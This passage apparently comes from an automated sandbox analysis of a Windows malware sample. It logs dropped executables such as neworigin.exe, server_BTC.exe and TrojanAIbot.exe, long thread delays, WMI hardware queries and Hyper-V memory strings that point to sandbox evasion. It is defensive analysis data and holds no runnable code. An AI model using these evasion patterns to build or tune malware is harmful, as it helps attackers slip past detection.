Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98327s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe TID: 5656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep count: 5417 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3200	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep count: 674 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4460	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe TID: 2788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe TID: 5932	Thread sleep time: -299340000s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe TID: 5932	Thread sleep time: -287880000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6672	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 828	Thread sleep count: 524 > 30
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99872s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 828	Thread sleep count: 2214 > 30
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99757s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99632s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99510s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99408s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99283s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99158s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -99033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98899s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98791s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98669s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98559s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98452s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98337s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98228s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -98106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -97941s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -97242s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -97109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -96977s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -96797s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 5168	Thread sleep time: -96593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe TID: 3040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99760s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98867s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98749s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98630s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98494s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98381s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98243s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98132s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98009s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97850s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97739s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97602s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97483s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97364s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97227s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97115s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96987s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96852s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96690s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96462s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96352s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96243s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96133s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -96024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95914s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95801s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95680s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95571s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95458s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -95337s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99953s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99844s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99406s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -99078s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98511s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98406s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -98062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97953s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97624s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97516s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97391s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 2052	Thread sleep time: -97281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe TID: 2216	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe TID: 2792	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EC5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_02EC5908

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99848	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99723	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99602	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99493	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99378	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99257	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99026	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98869	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98208	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97666	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97538	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97427	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97302	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97183	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96934	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96701	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96590	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96478	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96247	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96103	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95994	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95870	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95423	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95278	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94892	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94763	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94654	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94435	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 94106	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 93992	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 93884	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 93778	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 93669	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99623	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99071	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98327	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99872
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99757
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99632
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99510
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99408
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99283
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99158
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99033
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98899
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98791
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98669
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98559
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98452
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98337
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98228
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98106
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97941
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97242
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97109
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96977
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96797
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96593
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99760
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99030
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98867
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98749
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98630
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98494
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98381
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98243
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98132
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98009
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97850
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97739
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97602
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97483
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97364
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97227
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97115
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96987
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96852
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96690
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96462
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96352
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96243
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96133
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 96024
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95914
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95801
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95680
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95571
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95458
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 95337
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99953
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99844
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99734
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99625
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99515
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99406
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99297
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99187
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 99078
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98969
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98625
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98511
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98406
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98297
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98172
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 98062
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97953
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97843
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97734
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97624
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97516
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97391
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 97281
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\

Source: x.exe, 00000000.00000002.2184605014.0000000000866000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWFC3z
Source: Wisrysxl.PIF, 00000016.00000002.2339517329.0000000000611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: x.exe, 00000000.00000002.2184605014.0000000000866000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2184605014.000000000081E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Wisrysxl.PIF, 0000001B.00000002.2429455325.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
